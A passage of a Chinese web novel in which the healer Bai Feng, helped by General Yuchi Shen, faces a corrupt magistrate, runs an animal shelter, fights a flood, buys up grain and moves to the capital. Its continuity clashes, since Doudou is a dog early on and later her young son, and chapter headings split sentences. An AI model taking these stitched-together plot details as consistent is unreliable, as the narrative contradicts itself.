师爷凑过去看了一眼,小声说:“大人,这……” “闭嘴!”县太爷瞪了他一眼。 就在这时,大堂外又传来马蹄声。 一队黑甲侍卫冲了进来,为首的正是尉迟深。 县太爷看到尉迟深,腿都软了。 “将、将军……” 尉迟深没理他,直接走到白凤面前。 “你没事吧?” 白凤看着他,愣了一下:“你怎么来了?” “听说你出事了。”尉迟深转身看向县太爷,“本将问你,白凤犯了何罪?” “这……”县太爷额头冒汗,“下官接到举报,说她私藏违禁药材……” “举报?”尉迟深冷笑,“谁举报的?” 县太爷看向师爷。 师爷脸色惨白,噗通一声跪了下来。 “说。”尉迟深的声音没有任何温度。 “是、是下官一时糊涂……”师爷磕头如捣蒜,“求将军饶命!” “一时糊涂?”尉迟深走到他面前,“你可知道,白姑娘是本将的救命恩人?” 师爷浑身一抖,脸色煞白。 县太爷更是吓得瘫在椅子上。 “来人。”尉迟深吩咐,“把县太爷和师爷都押下去,听候发落。” 黑甲侍卫立刻上前。 “将军饶命!将军饶命啊!”县太爷哭喊着被拖了出去。 师爷也被押走了。 大堂上只剩下白凤、尉迟深和李铭。 “多谢将军。”李铭抱拳。 “不必。”尉迟深摆摆手,“你先回去吧。” 李铭识趣地退了出去。 白凤看着尉迟深,开口道:“你不是在京城吗?” “正好路过。”尉迟深说。 “路过?”白凤挑眉,“从京城路过到这里?” 尉迟深没接话,转身往外走:“跟我来。” 白凤跟着他出了县衙。 院子里,豆豆和其他动物都被关在笼子里。 看到白凤,豆豆立刻兴奋地叫起来。 “把它们都放了。”尉迟深吩咐。 侍卫们打开笼子,动物们一窝蜂地冲向白凤。 豆豆扑到她怀里,尾巴摇得飞快。 白凤摸了摸它的头,又安抚了其他动物。 “你的东西都在这里。”尉迟深指着旁边的几个箱子,“我让人给你送回去。” “不用了。”白凤说,“我自己能搬。” “逞什么强。”尉迟深皱眉。 白凤看着他,突然笑了:“你专门跑一趟,就是为了说这些?” 尉迟深沉默片刻:“我欠你一条命。” “所以你就要管我一辈子?” “不是管,是报恩。” “我不需要。”白凤转身要走。 尉迟深拉住她的手腕:“你就这么讨厌我?” 白凤停下脚步,没有回头:“不是讨厌,是不想欠人情。” “那你欠我的,怎么还?” 白凤转过身,看着他:“你要我怎么还?” 尉迟深看着她的眼睛,很久才说:“跟我回京。” “不可能。”白凤抽回手,“我在这里过得很好。” “这里?”尉迟深环顾四周,“一个破败的小镇,能有什么好?” “至少自由。”白凤平静地说,“不用看任何人脸色,不用遵守那些繁文缛节。” 尉迟深沉默了。 他知道,她说的是实话。 “那你打算一辈子待在这里?” “为什么不可以?”白凤反问,“我有手有脚,能养活自己,还能过得很好。” “可是……” “没有可是。”白凤打断他,“你有你的路,我有我的路。你救过我,我也救过你,我们两清了。” 说完,白凤牵着豆豆,带着其他动物往家走。 尉迟深站在原地,看着她的背影,久久没有动。 副将走过来,小声说:“将军,我们……” 第30章 明天还要干活呢 “回京。”尉迟深转身上马。 “现在?”副将愣了一下。 “现在。” 马蹄声渐渐远去。 白凤回到家,看着被翻得乱七八糟的院子,叹了口气。 “走吧,收拾收拾。”她对豆豆说。 豆豆摇着尾巴,跟在她身边。 其他动物也各自找地方待着。 白凤一样一样地整理,一直忙到天黑。 累了,她坐在院子里,看着天上的星星。 豆豆趴在她脚边,安静地陪着。 “豆豆,你说我做得对吗?”白凤问。 豆豆歪着头看她,眼里满是疑惑。 白凤笑了:“算了,问你也没用。” 她站起身,拍拍身上的灰:“睡觉去吧,明天还要干活呢。” 县太爷被革职查办,师爷畏罪潜逃。 消息传遍全镇,沈家的日子一下子难过起来。 沈冬梅坐在床上,摸着肚子,眼泪止不住地流。 “都怪你!”她冲着婆婆喊,“非要让他去巴结县太爷,现在好了,人跑了,我们怎么办?” 婆婆坐在一旁,也是一脸愁容:“谁知道会出这种事……” “现在说这些有什么用!”沈冬梅越想越气,“都是白凤那个贱人,要不是她,我们家能落到这步田地?” “你少说两句吧。”婆婆叹气,“现在最要紧的是找到你男人。” “找?往哪找?”沈冬梅冷笑,“他要是真有心,早就回来了。” 她摸着肚子,眼里闪过狠色:“我就不信,他能狠心不管自己的孩子。” 沈富贵来的时候,正好听到这句话。 “冬梅,你想干什么?” 沈冬梅看到舅舅,眼泪立刻掉了下来:“舅舅,你得帮帮我啊,我现在怀着身子,他却跑了,让我们孤儿寡母怎么活?” “你男人做了糊涂事,自然有官府处置。”沈富贵坐下,“你现在最要紧的是养好身子,把孩子生下来。” “可是家里没钱了……” “我会接济你们。”沈富贵打断她,“但有一件事,你必须答应我。” “什么事?” “去跟白凤赔罪。” 沈冬梅脸色一变:“凭什么?” “凭你们之前想害死人家。”沈富贵沉下脸,“要不是我去求情,你以为你们一家能安然无恙?” “可是……” “没有可是。”沈富贵站起身,“明天我带你去,好好给人家道个歉。” 第二天,沈富贵带着沈冬梅和婆婆来到白凤家。 白凤正在院子里喂动物,看到他们,手上的动作顿了顿。 “白姑娘。”沈富贵拱手,“我们是来赔罪的。” 白凤放下手里的东西,看向沈冬梅。 沈冬梅低着头,脸色难看。 “之前的事,是我们不对。”沈富贵叹了口气,“这丫头不懂事,做了些混账事,我这个当舅舅的也有责任。” “沈老爷客气了。”白凤淡淡地说,“事情已经过去了。” “那些药死的鸡鸭,我们会赔偿。”沈富贵从怀里掏出一张银票,“这是一百两,还请姑娘收下。” 白凤看了眼银票,没有接:“不必了,那些鸡鸭本来也养不了多久。” “白姑娘……” “不过,有件事我想问问。”白凤看向沈冬梅,“你们当初想害死我,可是为了那处祖产?” 沈冬梅咬着嘴唇,没说话。 “看来是了。”白凤笑了,“既然如此,我有个提议。” “什么提议?”沈富贵问。 “祖产还给我,这事就算了结了。” 沈富贵愣了一下:“你是说……” “那房子本来就是我家的。”白凤平静地说,“当初是你们占了便宜,现在物归原主,不过分吧?” 沈富贵沉默片刻,点了点头:“不过分,确实不过分。” “舅舅!”沈冬梅急了。 “闭嘴。”沈富贵瞪了她一眼,转向白凤,“姑娘说得对,那房子本就该还给你。我这就去办手续。” 三天后,白凤拿到了祖产的地契。 她站在那处老宅门口,看着斑驳的门墙,心里五味杂陈。 这是父母留下的最后一样东西了。 “豆豆,我们进去看看。” 推开门,院子里长满了杂草。 白凤一点点地清理,从早上忙到傍晚。 累了,她坐在院子里休息。 豆豆趴在她脚边,几只鸡在院子里刨食。 白凤突然有了个主意。 既然现在有两处房子,不如把这里改成专门养动物的地方。 她这些日子救治了不少受伤的动物,有些养好了就放生了,有些却无处可去。 如果有个专门的地方收留它们,也算是做了件好事。 说干就干。 白凤花了半个月时间,把老宅收拾了出来。 院子里搭了几个棚子,分别养不同的动物。 有被主人遗弃的狗,有受伤的野猫,还有几只断了腿的鸟。 白凤给它们治伤,喂食,照顾得很仔细。 动物们渐渐多了起来。 有一天,白凤发现院子里多了一只小狐狸。 “你从哪来的?”她蹲下身。 小狐狸警惕地看着她,后腿上缠着布条,显然受伤了。 白凤慢慢靠近,小狐狸想跑,但腿伤发作,摔倒在地。 “别怕,我不会伤害你。”白凤轻声说。 她小心翼翼地检查伤口,发现是被兽夹夹伤的。 “真可怜。”白凤叹气,“放心,我会治好你的。” 她给小狐狸上药,包扎伤口。 小狐狸很乖,一动不动地让她处理。 从那以后,小狐狸就留了下来。 但问题也随之而来。 院子里的动物越来越多,不同种类的动物聚在一起,经常发生冲突。 狗和猫互相看不顺眼,一见面就要打架。 鸟嫌狗太吵,狗嫌鸟太聒噪。 小狐狸最聪明,谁也不得罪,但也谁都不亲近。 白凤每天最头疼的就是调解它们的矛盾。 有一次,一只大黄狗和一只黑猫为了一块肉打了起来。 白凤听到动静赶过来,两只动物已经打得不可开交。 “住手!”她喝道。 大黄狗和黑猫停下来,委屈地看着她。 “怎么回事?”白凤问。 大黄狗汪汪叫了几声,意思是那块肉是它先看到的。 黑猫喵喵叫,说是它先咬到的。 白凤哭笑不得:“一块肉而已,至于吗?” 她把肉分成两半,一人一份。 大黄狗和黑猫这才消停了。 但过了几天,它们又因为别的事吵起来了。 白凤终于忍无可忍,把所有动物召集起来。 “从今天开始,定规矩。”她严肃地说,“谁再打架,就不给饭吃。” 动物们面面相觑。 第31章 您请回吧 “听到没有?”白凤提高声音。 大黄狗率先低下头,表示服从。 其他动物也陆续低头。 从那以后,院子里总算安静了些。 但白凤知道,这只是暂时的。 不同种类的动物之间,语言不通,习性不同,想要和平相处,难度太大了。 她只能尽量调解,希望它们能慢慢适应。 有一天,郡上的药铺掌柜来找她。 “白姑娘,有个大买卖,不知道你有没有兴趣?” “什么买卖?” “有位贵人要一株千年灵芝,出价三百两。”掌柜的压低声音,“但这东西不好找,据说在深山老林里,还有猛兽守着。” 白凤想了想:“我可以试试,但不保证一定能找到。” “只要你愿意试,就行。”掌柜的笑道,“要是真能找到,这三百两就是你的。” 白凤点点头。 她花了五天时间,终于在一处悬崖边找到了千年灵芝。 但正如掌柜的所说,有一只大黑熊守在旁边。 白凤躲在树后,观察了很久。 黑熊很警觉,一有风吹草动就会竖起耳朵。 硬来肯定不行。 白凤想了个办法。 她从怀里掏出一包药粉,洒在上风口。 药粉随风飘散,黑熊闻到后,渐渐昏昏欲睡。 趁着这个机会,白凤迅速采下灵芝,转身就跑。 黑熊醒来时,白凤已经跑远了。 拿到三百两银子后,白凤给动物们买了很多食物。 大黄狗啃着骨头,尾巴摇得飞快。 黑猫吃着小鱼干,满足地眯起眼睛。 小狐狸叼着一块肉,躲到角落里慢慢吃。 白凤看着它们,脸上露出笑容。 这样的日子,挺好的。 晚上,她坐在院子里,看着满天星辰。 豆豆趴在她脚边,安静地陪着。 远处传来动物们的声音,有狗吠,有猫叫,还有鸟鸣。 白凤闭上眼睛,深深吸了口气。 这就是她想要的生活。 自由,简单,充实。 不用看任何人脸色,不用遵守那些繁文缛节。 只要有这些动物陪着,就足够了。 白凤站在院门口,双手抱胸,脸上写满了不耐烦。 “尉迟将军,您请回吧。” 尉迟深愣在原地,手里还提着刚从集市上买的糕点。这几日他每天都来,白凤却连院门都不让他进。 “凤儿,我知道之前有误会……” “误会?”白凤冷笑一声,“什么误会?不过是将军您在京城另有新欢罢了。您回去吧,我在这镇上过得挺好。” 尉迟深急了:“哪有什么新欢!那官家小姐与我毫无瓜葛,都是她自作主张,我从未应允过什么!” “是吗?”白凤歪着头看他,“可听说您在京城与那位小姐出双入对,连皇上都赐了婚。将军这是来退亲的?” 尉迟深这才明白过来,原来所有的误会都在这里。他深吸了一口气—— “没有赐婚!那小姐自己散播谣言,我已经当众驳斥了。凤儿,你听我解释……” 白凤摆摆手:“不必解释。将军,您该明白,我本就不是什么大家闺秀。您回京城娶您的官家小姐,我在这镇上开我的医馆,两不相欠。” 说完,她直接关上了院门。 尉迟深站在门外,手里的糕点都凉透了。 豆豆从屋里跑出来,抱住白凤的腿:“娘亲,为什么不让叔叔进来?” 白凤揉揉豆豆的头:“大人的事,小孩别管。” “可是叔叔看起来很难过。” “他难过关我什么事。”白凤转身进了屋,心里却莫名有些烦躁。 接下来几天,尉迟深依旧每天来,但白凤铁了心不见。镇上的人都在议论,说这位将军痴情得很,为了个女医者茶不思饭不想。 王婆子特意跑来跟白凤说:“白大夫,您可真有福气,这样的好男人都不要。” 白凤头也不抬:“王婆子您有空在这说闲话,不如回家多照顾照顾您家老爷子。” 王婆子讪讪地走了。 第七天,尉迟深终于放弃了。他站在医馆门口,隔着门板说:“凤儿,既然你不愿见我,我也不强求。但你记住,无论何时,只要你需要,我一定会来。” 白凤在屋里听着,手里的药杵停了停,最终什么都没说。 马蹄声渐行渐远。 豆豆趴在窗边,眼泪汪汪地看着尉迟深离开的方向。 “娘亲真的不追吗?” “不追。”白凤说得斩钉截铁。 可第二天清晨,白凤正在院子里晒药材,突然听到镇口传来骚动。她放下手里的活计走过去,发现一群人围在告示栏前。 “怎么了?” “白大夫您快看,上面说西北要发大水,让我们做好准备!” 白凤挤进去看了看告示,心里一沉。她这些年行医,对天气变化格外敏感。前几日她就察觉到不对劲——连续阴雨,河水暴涨,空气里都是湿漉漉的闷热感。 “这水怕是要来得急。”旁边有老人叹气,“镇上这么多人,往哪儿跑啊。” 白凤转身就往家走。 豆豆看她收拾东西,好奇地问:“娘亲要出门?” “嗯。”白凤把常用的药材装进背篓,“你在家别乱跑,娘亲去去就回。” “去哪儿?” 白凤停顿了一下:“去追个人。” 豆豆眨眨眼,突然笑了。 白凤骑着快马追了三十里,终于在官道上看到了尉迟深的队伍。她勒住马,远远地喊:“尉迟深!” 队伍停了下来。 尉迟深回过头,看到白凤时愣住了。他翻身下马,快步走过来:“凤儿?” 白凤从马上跳下来,喘着粗气:“西北要发大水,你知道吗?” “知道。”尉迟深点头,“朝廷已经派人去赈灾了。” “那不够。”白凤说,“我看过地形,这次水灾来得急,光靠朝廷的人手不足。你留下来帮忙。” 尉迟深看着她,突然笑了:“你是担心我?” “我是担心镇上的百姓!”白凤瞪他一眼,“你留不留?” “留。”尉迟深毫不犹豫,“你在哪儿,我就在哪儿。” 白凤别过脸:“少贫嘴。走吧,回镇上,还有很多事要做。” 两人快马加鞭赶回镇上,立刻开始组织防汛。尉迟深作为将军,调度人手很有一套。他让年轻力壮的男人去加固堤坝,妇女儿童转移到高处,又派人去周边村子通知。 白凤则开始准备药材。水灾之后,瘟疫最容易爆发,必须提前做好准备。 “这些都是防疫用的?”尉迟深看着白凤列出的长长清单。 “对。”白凤头也不抬,“还得多备些伤药,堤坝如果溃了,受伤的人会很多。” 尉迟深看着她忙碌的背影,眼神里满是心疼。 三天后,大水真的来了。 第32章 这孩子摔伤了!” 河水暴涨,堤坝在狂风暴雨中摇摇欲坠。尉迟深带着人在堤坝上拼命加固,白凤则在镇上安置转移的百姓。 “白大夫,我家老娘发高烧!” “白大夫,这孩子摔伤了!” “白大夫……” 白凤连轴转了两天两夜,眼睛都熬红了。豆豆跟在她身边帮忙端药递水,小小年纪懂事得让人心疼。 第三天夜里,堤坝终于撑不住了。 “溃堤了!”有人大喊。 尉迟深当机立断:“所有人撤到镇子高处!快!” 洪水咆哮着涌进镇子,淹没了大片房屋。白凤站在高处,看着自己的医馆被水淹没,心里说不出是什么滋味。 “娘亲的药都没了。”豆豆小声说。 白凤摸摸他的头:“药没了可以再买,人没了就什么都没了。” 尉迟深浑身湿透地走过来:“伤亡情况统计出来了,死了三个人,受伤的有二十几个。” “已经很好了。”白凤说,“如果不是你提前组织,死的人会更多。” 尉迟深看着她:“如果不是你来追我,我也不会留下。” 两人对视了一眼,白凤移开目光:“别说这些,先救人要紧。” 水灾持续了七天。 这七天里,白凤和尉迟深配合得天衣无缝。他负责组织人手救援,她负责医治伤病。两个人都累得不行,但谁都没喊过一声苦。 豆豆则成了他们之间的小信使,一会儿给白凤送药,一会儿给尉迟深送饭。 “叔叔,你和娘亲什么时候成亲啊?”豆豆有天突然问。 尉迟深正在喝水,差点呛着:“谁说我们要成亲?” “可是你们配合得这么好。”豆豆歪着头,“而且叔叔看娘亲的眼神,跟我看糖葫芦的眼神一样。” 尉迟深哭笑不得:“哪有这么比喻的。” “那叔叔喜欢娘亲吗?” “喜欢。”尉迟深没有犹豫。 “那为什么不” “因为你娘亲还在生我的气。”尉迟深叹了口气,“而且,我配不上她。” 豆豆不解:“为什么配不上?” “因为……她太好了。”尉迟深说,“她医术高明,心地善良,而我只是个粗人,除了打仗什么都不会。” 豆豆想了想:“可是娘亲需要的不就是个能保护她的人吗?叔叔你这么厉害,一定能保护好娘亲的。” 尉迟深愣住了。 是啊,也许他想得太复杂了。凤儿需要的,或许就是个能在她累的时候撑住一切的人。 水退了之后,镇上一片狼藉。 白凤带着豆豆在废墟里翻找还能用的药材,结果听到王婆子尖利的哭喊声。 “白凤!你这个害人精!我女儿都是被你害死的!” 白凤皱眉转身,就见王婆子带着一群人气势汹汹地走过来。 “王婆子,你这话什么意思?” “什么意思?我家大妞二妞都在这次水灾里没了,你这个大夫都在干什么!你不是医术高明吗?为什么不救她们!” 白凤深吸了一口气,克制着怒火:“王婆子,水灾那天我让所有人撤到高处,是你家大妞二妞不听劝,非要回家拿东西才被水冲走的。这怎么能怪我?” “那你为什么不拦着她们!”王婆子哭得撕心裂肺,“我家就这两个女儿,现在全没了!你赔我女儿!” 围观的人越来越多。有人小声议论:“王婆子这不是胡搅蛮缠吗?” “可不是,白大夫那几天累成什么样大家都看见了。” “她家女儿不听劝非要回去,这能怪谁?” 但也有人说:“话是这么说,可白大夫既然医术这么好,为什么不去救人?” “就是,听说白大夫那时候在镇子高处,根本没下去。” 白凤气笑了:“我不下去?王婆子,你问问大家,那几天我在哪儿!” “白大夫一直在救人!”人群里有人喊,“我儿子就是白大夫救回来的!” “对,我家老娘也是!” 王婆子却不依不饶:“那为什么我女儿就不救!是不是我家穷,你看不上我们!” 白凤正要说话,突然一个低沉的声音传来:“够了。” 人群自动让开一条路,尉迟深大步走了过来。 他浑身都是泥水,显然是刚从外面回来。看到白凤被围着,他脸色立刻沉了下来。 “尉迟将军。”王婆子见到他,声音反而更大了,“您给评评理,白凤这个大夫见死不救,害死了我两个女儿!” 尉迟深冷冷地看着她:“你说白大夫见死不救?” “对!她就是……” “那你知不知道,水灾那天白大夫连续三天三夜没合眼,救了多少人?”尉迟深打断她,“你知不知道,她自己的医馆都被淹了,连一根银针都没抢出来,还在给人看病?” 王婆子语塞。 “至于你的女儿。”尉迟深继续说,“当时白大夫已经让所有人撤离,是你家两个姑娘不听劝,非要回去拿东西。白大夫拦了,拦不住。你要怪就怪她们不听劝,怪你平时没教好她们,别在这里无理取闹!” “可是……” “没有可是。”尉迟深语气里满是不耐烦,“这镇上所有人都看着,白大夫救了多少人,你心里没数?你女儿的死,跟白大夫没有半点关系。” 王婆子还想说什么,但看到尉迟深冰冷的眼神,最终什么都说不出来了。 她哭哭啼啼地走了,临走还骂骂咧咧:“仗着有将军撑腰就了不起了……” 人群散去,白凤站在原地,突然觉得有些累。 “谢谢。”她对尉迟深说。 “不用谢。”尉迟深看着她,“你没事吧?” “我能有什么事。”白凤笑了笑,“这种事我见多了。” 尉迟深心疼地看着她。他知道,白凤表面上不在意,但心里肯定难受。她救了那么多人,结果还要被人这样冤枉。 “走吧。”他说,“我带你去吃点东西。” “不了,我还要……” “你已经三天没好好吃饭了。”尉迟深不容拒绝地拉着她往外走,“豆豆,跟我来。” 豆豆乖乖地跟上,还偷偷冲白凤做了个鬼脸。 三个人在镇上的小饭馆里坐下。尉迟深点了几个菜,都是白凤爱吃的。 “你怎么知道我喜欢吃这些?”白凤奇怪地问。 第33章 猜的 “猜的。”尉迟深说。 其实是他这几天偷偷观察出来的。白凤喜欢清淡的菜,不喜欢太辣的,喜欢酸甜口的,不喜欢太咸的。 豆豆在旁边吃得满嘴都是,含糊不清地说:“叔叔对娘亲真好。” 白凤瞪了他一眼:“好好吃饭,别说话。” 接下来的日子,镇上开始重建。尉迟深本来要回京述职,但看着白凤忙得焦头烂额,最终还是留了下来。 “你不回去会被罚的。”白凤说。 “没事,我派人回去报信了。”尉迟深满不在乎,“再说,这也算是我的职责,赈灾救民。” 白凤不再说什么,但心里暗暗记下了这份情。 两人配合得越来越默契。尉迟深负责组织人手重建房屋,白凤则负责医治伤病,还时不时给重建的工人看看伤。 豆豆则成了镇上的小红人。他跟着尉迟深学了点拳脚功夫,又跟着白凤认识了不少药材,小小年纪竟然能帮上不少忙。 “叔叔,你会一直留在镇上吗?”有天晚上,豆豆突然问。 尉迟深正在院子里练剑,听到这话停了下来:“怎么突然这么问?” “因为我希望叔叔能一直留在这里。”豆豆认真地说,“这样娘亲就不会总是一个人那么累了。” 尉迟深蹲下来,和豆豆平视:“豆豆,叔叔是军人,总有一天要回战场的。” “那娘亲怎么办?” “你娘亲……”尉迟深停顿了一下,“她很厉害,不需要叔叔。” “可是叔叔需要娘亲。”豆豆歪着头,“我看得出来,叔叔很喜欢娘亲。” 尉迟深苦笑:“小孩子懂什么。” “我虽然小,但我知道什么是喜欢。”豆豆说,“就像我喜欢糖葫芦,看到就想吃。叔叔看娘亲的眼神,就跟我看糖葫芦一样。” 尉迟深哭笑不得。这孩子怎么老拿糖葫芦比喻。 “那你娘亲呢?”他忍不住问,“她看我的眼神是什么样的?” 豆豆想了想:“有时候像看笨蛋,有时候又像看……有用的笨蛋?” 尉迟深:“……” 这孩子是不是对他有什么误解。 正说着,白凤从屋里出来:“豆豆,该睡觉了。” “知道啦。”豆豆冲尉迟深做了个鬼脸,蹦蹦跳跳地跑回屋了。 白凤走到尉迟深身边,看着满天星辰:“你什么时候回京?” “快了。”尉迟深说,“再过几天,镇上重建得差不多了,我就得走了。” “嗯。”白凤应了一声,声音里听不出情绪。 “凤儿。”尉迟深突然叫她。 “嗯?” “如果我说,我想让你跟我回京,你愿意吗?” 白凤沉默了很久,最后摇了摇头:“我在这镇上挺好的。” “为什么?”尉迟深转过身看着她,“你明明可以去京城,那里有更好的机会,你可以救更多的人。” “正因如此我才不去。”白凤说,“京城那种地方,人心复杂,规矩太多。我只是个大夫,想简简单单给人看病,不想卷进那些乱七八糟的事里。” 尉迟深张了张嘴,最终什么都没说。 他知道,白凤说的是对的。以她的医术,去了京城肯定会被各方势力盯上。到时候,她就再也不能像现在这样自由了。 “那你……”他犹豫了一下,“就不能为我考虑一下吗?” 白凤看着他,突然笑了:“尉迟深,你是不是忘了,咱们之间还有误会没解开呢。” “我都解释过了!” “你解释了,可我还没原谅你。”白凤说,“而且,就算没有那个误会,我也不打算跟你去京城。我有我的生活,你有你的战场,各过各的挺好。” 尉迟深被噎得说不出话来。 他突然发现,自己竟然找不到理由反驳她。 “我回屋了。”白凤转身要走,突然又停了下来,“不过,这段时间谢谢你帮忙。” 说完,她头也不回地进了屋。 尉迟深站在院子里,看着她的背影,心里说不出是什么滋味。 第二天,白凤在集市上听到一个消息。 “听说了吗?边关那边有人在囤积粮食,趁着灾情抬价!” “可不是,这些黑心商人,真该千刀万剐!” “听说粮价都涨了三倍了,再这样下去,老百姓都活不下去了。” 白凤心里一动。 她最近也察觉到了粮价的异常。镇上重建需要大量粮食,但价格一天比一天高。她原本以为是灾情造成的,现在看来,恐怕另有隐情。 回到医馆,她把这事跟尉迟深说了。 “边关囤粮?”尉迟深皱眉,“这事我知道,朝廷已经在查了。” “查得出来吗?”白凤问。 “难。”尉迟深摇头,“这些商人都很狡猾,而且背后肯定有人撑腰。” 白凤想了想:“如果我们能抢在他们前面把粮食买下来呢?” “你想做什么?” “利国利民,顺便赚一笔。”白凤眼睛亮了起来,“你不是说粮价会继续涨吗?那我们现在低价买进,等灾情稳定了再平价卖出。既能稳定粮价,又能赚钱,一举两得。” 尉迟深愣住了:“你哪来这么多钱买粮?” “我有办法。”白凤神秘地笑了笑。 她这些年行医攒了不少钱,虽然不多,但足够做这笔买卖了。而且,她还有几个靠谱的朋友,可以一起合作。 接下来几天,白凤开始四处奔波。她联系了几个相熟的商人,说服他们一起出资买粮。 “白大夫,你确定这笔买卖能赚钱?”有商人犹豫。 “相信我。”白凤说,“这次灾情范围大,朝廷肯定会大量采购粮食。我们现在低价买进,到时候卖给朝廷,稳赚不赔。” “可是……” “没有可是。”白凤打断他,“你们要是不信我,那就算了。” 最终,还是有几个商人被说服了。他们凑了一大笔钱,让白凤全权负责买粮。 尉迟深在旁边看着,忍不住感慨:“凤儿,你还真是多才多艺。” “那是。”白凤得意地扬起下巴,“我可不是只会看病的。” 半个月后,白凤买的粮食全部到位。果然如她所料,朝廷开始大量采购粮食赈灾,她囤的粮食立刻变成了香饽饽。 “白大夫,您这批粮食卖不卖?”有官员专门来询价。 “卖。”白凤说,“不过我有个条件。” “什么条件?” “这批粮食我可以平价卖给朝廷,但朝廷必须承诺,绝不让粮食流入奸商手里,必须全部用于赈灾。” 官员愣了一下,随即点头:“这个自然。” 第34章 我可不是光会耍嘴皮子的 就这样,白凤不仅稳定了粮价,还为镇上百姓争取到了足够的口粮。虽然没赚多少钱,但她心里踏实。 “你这笔买卖做得漂亮。”尉迟深由衷地夸赞,“利国利民,还让那些黑心商人扑了个空。” “那当然。”白凤笑了笑,“我可不是光会耍嘴皮子的。” 尉迟深在镇上又待了半个月,终于到了不得不走的时候。 那天清晨,白凤和豆豆一起送他到镇口。 “叔叔,你还会回来吗?”豆豆眼眶红红的。 “会的。”尉迟深蹲下来,摸摸豆豆的头,“叔叔有空就回来看你和你娘亲。” 豆豆扑进他怀里,小声哭了起来。 这段时间,豆豆已经把尉迟深当成了父亲。尉迟深教他武功,给他讲战场上的故事,陪他玩耍。豆豆从没这么开心过。 “好了,男子汉不哭。”尉迟深拍拍他的背,“你要照顾好你娘亲,知道吗?” 豆豆抹了把眼泪,用力点头。 尉迟深站起来,看向白凤:“凤儿……” “走吧。”白凤打断他,“别耽误了正事。” 尉迟深张了张嘴,最终什么都没说。他翻身上马,回头看了白凤最后一眼,然后策马离去。 豆豆一直哭,白凤搂着他,眼睛也有些发酸。 送走尉迟深后,白凤做的第一件事就是送豆豆去学堂。 豆豆已经五岁了,是该启蒙的时候了。镇上就一家学堂,教书的先生姓李,据说还是个举人。 “豆豆是吧?”李先生打量着豆豆,“看着挺机灵,应该能学得不错。” 白凤交了束脩,嘱咐豆豆好好听课,然后就离开了。 结果第一天放学,豆豆就哭着回来了。 “怎么了?”白凤心疼地给他擦眼泪。 “他们欺负我。”豆豆哽咽着说,“说我是没爹的野种,还抢我的点心。” 白凤脸色一沉:“谁说的?” “镇长家的儿子,还有几个别的孩子。”豆豆委屈地说,“李先生也不管。” 白凤气得发抖。她深吸了一口气,克制住怒火:“豆豆,你明天还去吗?” “去。”豆豆倔强地说,“娘亲说过,遇到困难不能退缩。” “好孩子。”白凤摸摸他的头,“那娘亲明天送你去。” 第二天一早,白凤牵着豆豆的手,另一只手牵着一头黑熊。 没错,黑熊。 是她之前在山里救的一头受伤的黑熊。这熊通人性,对白凤特别亲近,平时就养在院子里。 “娘亲,你要干什么?”豆豆眼睛亮了。 “让它送你上学。”白凤淡淡地说。 到了学堂门口,所有人都傻眼了。 白凤牵着黑熊,领着豆豆大摇大摆地走进去。黑熊体型巨大,走路时地都在抖。 “白,白大夫……”李先生吓得腿都软了,“这,这是什么?” “这是我儿子的坐骑。”白凤一本正经地说,“从今天起,它会每天送豆豆上学,放学再接他回去。” “可,可是……” “怎么,李先生有意见?”白凤看着他,“还是说,学堂不欢迎我儿子?” “不,不是……” 京城初秋,天高云淡。 尉迟府的马车刚在新宅门前停稳,白凤就跳下车,抬头打量这座三进的宅院。青砖黛瓦,飞檐翘角,比边关那破旧的小院气派多了。 “小姐,这宅子可真大。”春杏提着包袱,眼睛都看直了。 白凤没接话,径直往里走。院子收拾得干净,显然尉迟深提前派人打理过。她心里清楚,这次进京不是享福,而是另一场博弈的开始。 尉迟深从后面的马车下来,身着玄色长袍,腰间佩剑。他走到白凤身边,“累了就先歇着,我去兵部报到。” “等等。”白凤拉住他的袖子,压低声音,“你上次说的那个消息,我想起来了。” 尉迟深眼神一凛,“进屋说。” 书房里,白凤在桌上铺开一张纸,用炭笔画了几个简单的符号,“边关那些胡商,每月十五都会在城西的酒肆聚会。我之前听他们的马说过,最近有大动作。” “马?” “对,马不会骗人。”白凤指着纸上的标记,“他们提到"秋猎"、"内应",还有"火器"。” 尉迟深盯着那张纸,手指在桌面轻轻敲击。半晌,他抬头,“你确定?” “我什么时候骗过你。” 尉迟深收起纸,“我这就去见陛下。” “别急。”白凤拦住他,“你直接说是我告诉你的?那些朝臣会怎么想?罪臣之女,突然掌握机密,不是更可疑?” 尉迟深顿住。 “就说是你自己查到的。”白凤转身往外走,“反正我也不在乎这些虚名。” 当天傍晚,尉迟深从宫里回来,脸色凝重。 “陛下信了?”白凤正在院子里喂鸡。 “不止信了,还派了锦衣卫去查。”尉迟深走到她身边,“白凤,你知道这意味着什么吗?如果查实,这是诛九族的大罪。” “所以呢?”白凤撒了把米,“你怕了?” “我怕你被牵连。” 白凤笑了,“尉迟深,你什么时候变得这么婆婆妈妈?” 三天后,锦衣卫在城西酒肆抓获十七名细作,起获火器图纸三十余份,牵扯出朝中两名官员。消息传开,朝野震动。 皇帝在早朝上当众嘉奖尉迟深,赐黄金百两,良田千亩,还破格提拔他为正三品的兵部侍郎。 “尉迟侍郎年少有为,实乃国之栋梁。” “陛下圣明。” 朝臣们纷纷附和,但白凤知道,这些表面的恭维下,藏着多少暗流涌动。 果然,当天下午,就有人上门了。 “白姑娘,我家小姐请你去赴宴。”来人是个穿着体面的婆子,说话客气,眼神却透着打量。 “哪家小姐?” “户部尚书府的大小姐,沈婉仪。” 白凤听过这个名字。沈婉仪,京城有名的才女,琴棋书画样样精通,更重要的是,她是太子的表妹。 “替我谢过沈小姐,我身体不适,改日再登门拜访。” 婆子脸色一变,“白姑娘,我家小姐一片好意,你这样拒绝,怕是不太合适吧?” “那就不合适吧。”白凤转身进屋,留下婆子在门外气得直跺脚。 春杏凑过来,“小姐,那可是尚书府的千金,咱们这样得罪她,会不会……” “会不会怎么?”白凤倒了杯茶,“她要是真心请客,会派个婆子来传话?分明是想给我下马威。” “可是……” “没什么可是。”白凤喝了口茶,“在京城,低头只会被人踩得更狠。” 第二天,沈婉仪亲自登门了。 第35章 有何贵干? 她穿着一身湖蓝色的襦裙,头上插着金步摇,走起路来叮当作响。身后跟着四个丫鬟,排场十足。 “白姑娘,久仰大名。”沈婉仪笑得温婉,但那笑意不达眼底。 白凤打量她,“沈小姐客气了,不知今日来访,有何贵干?” “听闻白姑娘刚到京城,我特来拜访。”沈婉仪在椅子上坐下,丫鬟立刻递上茶杯,“毕竟尉迟侍郎如今深受陛下器重,他的家眷,自然也该融入京城的圈子。” “多谢沈小姐关心,不过我这人不喜欢热闹。” 